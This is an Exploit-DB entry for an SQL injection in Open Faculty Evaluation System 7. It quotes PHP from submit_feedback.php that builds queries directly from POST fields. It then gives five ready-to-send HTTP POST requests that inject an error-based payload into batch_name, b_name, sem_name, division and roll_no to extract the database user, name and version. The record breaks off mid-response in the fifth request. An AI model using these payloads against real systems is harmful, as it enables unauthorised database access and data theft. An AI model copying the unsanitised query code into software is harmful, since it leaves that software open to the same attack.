Exploit-DB #45707
Description: Open Faculty Evaluation System 7 - 'batch_name' SQL Injection
Type: webapps
Platform: php
Date: 2018-10-29
Author: Ihsan Sencan

Exploit:
# Exploit Title: Open Faculty Evaluation System 7 - 'batch_name' SQL Injection
# Dork: N/A
# Date: 2018-10-29
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://openfacultyeval.sourceforge.io/
# Software Link: https://sourceforge.net/projects/openfacultyeval/files/feedback_php7.zip/download
# Version: Php 7
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

/[PATH]/submit_feedback.php
#....
#15 include("includes/config_db.php");
#16 
#17 if(isset($_POST['submit']))
#18 {
#19 //feedback no
#20 $check_feedback_no="select * from batch_master where batch_id='".$_POST['batch_name']."'";
#21 $res_feedback_no=mysqli_query($conn, $check_feedback_no) or die(mysqli_error($conn));
#22 $result=mysqli_fetch_array($res_feedback_no);
#23 
#24 
#25 $sql="select * from feedback_master where roll_no='".$_POST['roll_no']."' and b_id='".$_POST['b_name']."' and f_id='".$_POST['fac_name']."' and sub_id='".$_POST['sub_name']."' and sem_id='".$_POST['sem_name']."' and batch_id='".$_POST['batch_name']."' and division_id='".$_POST['division']."' and feedback_no='".$result['feedback_no']."'";
#26 //echo $sql;
#27 $res=mysqli_query($conn, $sql) or die(mysqli_error($conn));
#28 
#29 //echo mysqli_num_rows($res);
#30 //exit;
#31 if(mysqli_num_rows($res)>=1)
#32 {
#....

# POC: 
# 1)
# http://localhost/[PATH]/submit_feedback.php
# 
POST /[PATH]/submit_feedback.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 282
batch_name=2'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'&submit=Submit
HTTP/1.1 200 OK
Date: Mon, 29 Oct 2018 00:42:01 GMT
Server: Apache/2.4.34 (Win32) OpenSSL/1.0.2o PHP/7.1.22
X-Powered-By: PHP/7.1.22
Content-Length: 311
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/submit_feedback.php
# 
POST /[PATH]/submit_feedback.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 278
b_name=2'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'&submit=Submit
HTTP/1.1 200 OK
Date: Mon, 29 Oct 2018 00:58:04 GMT
Server: Apache/2.4.34 (Win32) OpenSSL/1.0.2o PHP/7.1.22
X-Powered-By: PHP/7.1.22
Content-Length: 1315
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC: 
# 3)
# http://localhost/[PATH]/submit_feedback.php
# 
POST /[PATH]/submit_feedback.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 280
sem_name=2'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'&submit=Submit
HTTP/1.1 200 OK
Date: Mon, 29 Oct 2018 00:58:15 GMT
Server: Apache/2.4.34 (Win32) OpenSSL/1.0.2o PHP/7.1.22
X-Powered-By: PHP/7.1.22
Content-Length: 1313
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC: 
# 4)
# http://localhost/[PATH]/submit_feedback.php
# 
POST /[PATH]/submit_feedback.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 280
division=2'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'&submit=Submit
HTTP/1.1 200 OK
Date: Mon, 29 Oct 2018 00:58:26 GMT
Server: Apache/2.4.34 (Win32) OpenSSL/1.0.2o PHP/7.1.22
X-Powered-By: PHP/7.1.22
Content-Length: 1313
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC: 
# 5)
# http://localhost/[PATH]/submit_feedback.php
# 
POST /[PATH]/submit_feedback.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 279
roll_no=2'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'&submit=Submit
HTTP/1.1 200 OK
Date: Mon, 29 Oct 2018 00:58:33 GMT
Server: